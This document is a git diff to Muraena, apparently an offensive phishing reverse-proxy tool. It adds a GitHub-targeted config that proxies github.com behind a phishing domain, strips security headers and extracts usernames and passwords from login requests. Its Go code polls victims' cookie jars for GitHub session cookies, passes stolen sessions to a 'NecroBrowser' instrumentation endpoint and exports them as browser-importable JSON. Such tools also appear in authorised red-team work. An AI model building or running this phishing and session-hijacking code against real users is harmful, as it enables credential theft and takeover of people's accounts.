diff --git a/config/config.github.toml b/config/config.github.toml new file mode 100644 index 0000000..11d5656 --- /dev/null +++ b/config/config.github.toml @@ -0,0 +1,185 @@ +[proxy] +# Phishing domain +phishing = "phishing.com" + +# Target domain to proxy +destination = "github.com" + +# Listening IP address +IP = "0.0.0.0" + +# Listeninng TCP Port +port = 443 + +# Force HTTP to HTTPS redirection +[proxy.HTTPtoHTTPS] +enabled = true +HTTPport = 80 + + +# +# Proxy's replacement rules +# +[transform] + +# List of content types to exclude from the transformation process +skipContentType = [ "font/*", "image/*" ] + +# Enable transformation rules in base64 strings +[transform.base64] +enabled = false +padding = [ "=", "." ] + +[transform.request] +headers = [ + "Cookie", + "Referer", + "Origin", + "X-Forwarded-For" +] + +[transform.response] +headers = [ + "Location", + "WWW-Authenticate", + "Origin", + "Set-Cookie", + "Access-Control-Allow-Origin" +] + +# Generic replacement rules: +# it applies to body and any http header enabled for manipulation +content = [ + [ "integrity", "intintint" ] +] + + +# +# Proxy's wiping rules +# +[remove] + +[remove.request] +headers = [ + "X-Forwarded-For" +] + +[remove.response] +headers = [ + "Content-Security-Policy", + "Content-Security-Policy-Report-Only", + "Strict-Transport-Security", + "X-XSS-Protection", + "X-Content-Type-Options", + "X-Frame-Options", + "Referrer-Policy", + "X-Forwarded-For" +] + +# +# Rudimental redirection rules +# +[[drop]] +path = "/logout" +redirectTo = "https://github.com" + + +# +# LOG +# +[log] +enabled = true +filePath = "muraena.log" + + +# +# TLS +# +[tls] +enabled = true + +# Expand allows to replace the content of the certificate/key/root parameters to their content instead of the +# filepath +expand = false +certificate = "./cert.pem" +key = "./privkey.pem" +root = "./fullchain.pem" + +# +# CRAWLER +# +[crawler] +enabled = false +depth = 3 +upto = 20 +externalOriginPrefix = "cdn-" +externalOrigins = [ + "*.githubassets.com" +] + +# +# NECROBROWSER +# +[necrobrowser] +enabled = true +endpoint = "http://127.0.0.1:3000/instrument" +profile = "./config/instrument.github.necro" + +[necrobrowser.keepalive] +# GET on an authenticated endpoint to keep the session alive +# every keepalive request is processed as its own necrotask +enabled = false +minutes = 5 # keeps alive the session every 5 minutes + + +[necrobrowser.trigger] +type = "cookies" +values = ["user_session", "dotcom_user"] # these are two cookies set by github after successful auth +delay = 5 # check every 5 seconds victim's cookie jar to see if we need to instrument something + + +# +# STATIC SERVER +# +[staticServer] +enabled = false +port = 8080 +localPath = "./static/" +urlPath = "/evilpath/" + + +# +# TRACKING +# +[tracking] +enabled = true + +# the tracking below supposes your phishing url will be something like: +# https://github.com/GithubProfile/aaa-111-bbb (see regex below) +# NOTE: the URL doesn't need to exist, so this is also valid (update identifier accordingly): +# https://github.com/GithubProfileFooBar/aaa-111-bbb +type = "path" + +# Tracking identifier +identifier = "_GithubProfile_" + +# Rule to generate and validate a tracking identifier +regex = "[a-zA-Z0-9]{3}-[a-zA-Z0-9]{3}-[a-zA-Z0-9]{3}" + +[tracking.urls] +credentials = [ "/session" ] + +# we don't need this anymore since we manage via necrobrowser.trigger +# authSession = [ "/settings/profile" ] + +[[tracking.patterns]] +label = "Username" +matching = "login" +start = "login=" +end = "&password=" + +[[tracking.patterns]] +label = "Password" +matching = "password" +start = "password=" +end = "&" \ No newline at end of file diff --git a/config/config.toml b/config/config.toml index 1a8695c..7b941de 100644 --- a/config/config.toml +++ b/config/config.toml @@ -144,6 +144,22 @@ endpoint = "http://necrobrowser.url/xyz" profile = "./config/instrument.necro" + [necrobrowser.keepalive] + # GET on an authenticated endpoint to keep the session alive + # every keepalive request is processed as its own necrotask + enabled = false + minutes = 5 # keeps alive the session every 5 minutes + + + [necrobrowser.trigger] + type = "cookies" + values = ["user_session", "dotcom_user"] # values can be cookies names or relative paths + delay = 5 # check every 5 seconds victim's cookie jar to see if we need to instrument something + + # type path example (triggers when the victim goes to a specific relative URL): + # type = "path" + # values = ["/settings/profile"] + # delay = 5 # # STATIC SERVER diff --git a/core/db/victim.go b/core/db/victim.go index af88eb7..bd9aca2 100644 --- a/core/db/victim.go +++ b/core/db/victim.go @@ -22,6 +22,8 @@ type Victim struct { CredsCount int `redis:"creds_count"` CookieJar string `redis:"cookiejar_id"` + + SessionInstrumented bool `redis:"session_instrumented"` } // a victim has at least one set of credentials @@ -37,14 +39,16 @@ type VictimCredential struct { // KEY scheme: // victim::cookiejar: type VictimCookie struct { - Name string `redis:"name"` - Value string `redis:"value"` - Domain string `redis:"domain"` - Expires string `redis:"expires"` - Path string `redis:"path"` - HTTPOnly bool `redis:"httpOnly"` - Secure bool `redis:"secure"` - Session bool `redis:"session"` // is the cookie a session cookie? + Name string `redis:"name" json:"name"` + Value string `redis:"value" json:"value"` + Domain string `redis:"domain" json:"domain"` + Expires string `redis:"expires" json:"expirationDate"` + Path string `redis:"path" json:"path"` + HTTPOnly bool `redis:"httpOnly" json:"httpOnly"` + Secure bool `redis:"secure" json:"secure"` + SameSite string `redis:"sameSite" json:"sameSite"` + Session bool `redis:"session" json:"session"` // is the cookie a session cookie? + } func StoreVictim(id string, victim *Victim) error { @@ -68,6 +72,21 @@ func StoreVictim(id string, victim *Victim) error { return nil } +func SetSessionAsInstrumented(id string) error { + + rc := RedisPool.Get() + defer rc.Close() + + key := fmt.Sprintf("victim:%s", id) + + if _, err := rc.Do("HSET", key, "session_instrumented", true); err != nil { + log.Error("error doing redis HSET: %s. session_instrumented field not saved.", err) + return err + } + + return nil +} + func GetAllVictims() ([]string, error) { rc := RedisPool.Get() defer rc.Close() @@ -197,7 +216,7 @@ func GetVictimCookiejar(id string) ([]VictimCookie, error) { return nil, err } - log.Info("Victim %s has %d cookies in the cookiejar", id, len(values)) + log.Debug("Victim %s has %d cookies in the cookiejar", id, len(values)) var cookiejar []VictimCookie for _, name := range values { diff --git a/log/format.go b/log/format.go index 7798909..6dd3404 100644 --- a/log/format.go +++ b/log/format.go @@ -47,4 +47,4 @@ var ( dateTimeFormat = "02 Jan 06 15:04 MST" // Format is the default format being used when logging. format = "{datetime} {level:color}{level:name}{reset} {message}" -) \ No newline at end of file +) diff --git a/module/necrobrowser/necrobrowser.go b/module/necrobrowser/necrobrowser.go index 18553e3..727fa3b 100644 --- a/module/necrobrowser/necrobrowser.go +++ b/module/necrobrowser/necrobrowser.go @@ -6,11 +6,12 @@ import ( "strings" "time" + "github.com/muraenateam/muraena/log" + "gopkg.in/resty.v1" + session "github.com/muraenateam/muraena/session" "github.com/muraenateam/muraena/core/db" - - "github.com/muraenateam/muraena/session" ) const ( @@ -104,9 +105,80 @@ func Load(s *session.Session) (m *Necrobrowser, err error) { m.Request = string(bytes) + // spawn a go routine that checks all the victims cookie jars every N seconds + // to see if we have any sessions ready to be instrumented + if s.Config.NecroBrowser.Enabled { + go m.CheckSessions() + } + return } +func (module *Necrobrowser) CheckSessions() { + + triggerType := module.Session.Config.NecroBrowser.Trigger.Type + triggerDelay := module.Session.Config.NecroBrowser.Trigger.Delay + + for { + switch triggerType { + case "cookies": + module.CheckSessionCookies() + case "path": + // TODO + log.Warning("currently unsupported. TODO implement path") + default: + log.Warning("unsupported trigger type: %s", triggerType) + } + + time.Sleep(time.Duration(triggerDelay) * time.Second) + } +} + +func (module *Necrobrowser) CheckSessionCookies() { + triggerValues := module.Session.Config.NecroBrowser.Trigger.Values + + victims, err := db.GetAllVictims() + if err != nil { + module.Debug("error fetching all victims: %s", err) + } + + module.Debug("checkSessions: we have %d victim sessions. Checking authenticated ones.. ", len(victims)) + + for _, vId := range victims { + cookieJar, err := db.GetVictimCookiejar(vId) + if err != nil { + module.Debug("error fetching victim %s: %s", vId, err) + } + + cookiesFound := 0 + cookiesNeeded := len(triggerValues) + for _, cookie := range cookieJar { + if Contains(&triggerValues, cookie.Name) { + cookiesFound++ + } + } + + v, _ := db.GetVictim(vId) + + // if we find the cookies, and the session has not been already instrumented (== false), then instrument + if cookiesNeeded == cookiesFound && !v.SessionInstrumented { + module.Instrument(cookieJar, "[]") // TODO add credentials JSON, instead of passing empty [] array + // prevent the session to be instrumented twice + db.SetSessionAsInstrumented(vId) + } + + } +} + +func Contains(slice *[]string, find string) bool { + for _, a := range *slice { + if a == find { + return true + } + } + return false +} + func (module *Necrobrowser) Instrument(cookieJar []db.VictimCookie, credentialsJSON string) { var necroCookies []SessionCookie diff --git a/module/tracking/tracking.go b/module/tracking/tracking.go index f1e0856..5b9e58f 100644 --- a/module/tracking/tracking.go +++ b/module/tracking/tracking.go @@ -83,6 +83,13 @@ func (module *Tracker) Prompt() { case "credentials": module.ShowCredentials() + + case "export": + + // TODO + + module.ExportSession("XX") + } } @@ -239,18 +246,27 @@ func (module *Tracker) TrackRequest(request *http.Request) (t *Trace) { } noTraces := true + isTrackedPath := false // // Tracing types: Path || Query (default) // if module.Type == "path" { - re := regexp.MustCompile(`/([^/]+)`) + tr := module.Session.Config.Tracking + + pathRegex := strings.Replace(tr.Identifier, "_", "/", -1) + tr.Regex + re := regexp.MustCompile(pathRegex) + match := re.FindStringSubmatch(request.URL.Path) + module.Info("tracking path match: %v", match) + if len(match) > 0 { - t = module.makeTrace(match[1]) + t = module.makeTrace(match[0]) if t.IsValid() { request.Header.Set(module.Landing, strings.ReplaceAll(request.URL.Path, t.ID, "")) + module.Info("setting %s header to %s", module.Landing, strings.ReplaceAll(request.URL.Path, t.ID, "")) noTraces = false + isTrackedPath = true } } } @@ -320,6 +336,11 @@ func (module *Tracker) TrackRequest(request *http.Request) (t *Trace) { } v.RequestCount++ + + if module.Type == "path" && isTrackedPath { + request.URL.Path = module.Session.Config.Tracking.RedirectTo + } + return } diff --git a/module/tracking/victim.go b/module/tracking/victim.go index c2ed8e8..81b8d49 100644 --- a/module/tracking/victim.go +++ b/module/tracking/victim.go @@ -1,12 +1,17 @@ package tracking import ( + "encoding/json" "fmt" "os" + "time" + + "github.com/muraenateam/muraena/module/necrobrowser" "github.com/evilsocket/islazy/tui" "github.com/muraenateam/muraena/core/db" + "github.com/muraenateam/muraena/log" ) func (module *Tracker) GetVictim(t *Trace) (v *db.Victim, err error) { @@ -35,7 +40,7 @@ func (module *Tracker) ShowCredentials() { var rows [][]string victims, err := db.GetAllVictims() - module.Info("All Victims: %v", victims) + module.Debug("All Victims: %v", victims) if err != nil { module.Debug("error fetching all victims: %s", err) @@ -47,7 +52,7 @@ func (module *Tracker) ShowCredentials() { module.Debug("error fetching victim %s: %s", vID, err) } - module.Info("Creds for victim %s: %d", vID, victim.CredsCount) + module.Debug("Creds for victim %s: %d", vID, victim.CredsCount) for i := 0; i < victim.CredsCount; i++ { t := tui.Green(victim.ID) @@ -66,6 +71,50 @@ func (module *Tracker) ShowCredentials() { } +// ShowVictims prints the list of victims +func (module *Tracker) ExportSession(id string) { + + const timeLayout = "2006-01-02 15:04:05 -0700 MST" + + rawCookies, err := db.GetVictimCookiejar(id) + if err != nil { + module.Debug("error fetching victim %d cookie jar: %s", id, err) + } + + // this extra loop and struct is needed since browsers expect the expiration time in unix time, so also different type + var cookieJar []necrobrowser.SessionCookie + + for _, c := range rawCookies { + log.Debug("trying to parse %s with layout %s", c.Expires, timeLayout) + t, err := time.Parse(timeLayout, c.Expires) + if err != nil { + log.Warning("warning: cant's parse Expires field (%s) of cookie %s. skipping cookie", c.Expires, c.Name) + continue + } + + nc := necrobrowser.SessionCookie{ + Name: c.Name, + Value: c.Value, + Domain: c.Domain, + Expires: t.Unix(), + Path: c.Path, + HTTPOnly: c.HTTPOnly, + Secure: c.Secure, + Session: t.Unix() < 1, + } + + cookieJar = append(cookieJar, nc) + } + + cookieJarJson, err := json.Marshal(cookieJar) + if err != nil { + module.Warning("Error marshalling the cookieJar: %s", err) + return + } + + log.Info("Victim %s CookieJar:\n\n%s", id, cookieJarJson) +} + // ShowVictims prints the list of victims func (module *Tracker) ShowVictims() { @@ -85,10 +134,9 @@ func (module *Tracker) ShowVictims() { module.Debug("error fetching all victims: %s", err) } - module.Info("All Victims: %v", victims) + module.Debug("All Victims: %v", victims) for _, vId := range victims { - module.Info("victim id: %v", vId) v, err := db.GetVictim(vId) if err != nil { diff --git a/session/config.go b/session/config.go index bfe6527..11c89db 100644 --- a/session/config.go +++ b/session/config.go @@ -129,6 +129,17 @@ type Configuration struct { Enabled bool `toml:"enabled"` Endpoint string `toml:"endpoint"` Profile string `toml:"profile"` + + Keepalive struct { + Enabled bool `toml:"enabled"` + Minutes int `toml:"minutes"` + } `toml:"keepalive"` + + Trigger struct { + Type string `toml:"type"` + Values []string `toml:"values"` + Delay int `toml:"delay"` + } `toml:"trigger"` } `toml:"necrobrowser"` // @@ -163,6 +174,7 @@ type Configuration struct { Domain string `toml:"domain"` IPSource string `toml:"ipSource"` Regex string `toml:"regex"` + RedirectTo string `toml:"redirectTo"` Urls struct { Credentials []string `toml:"credentials"`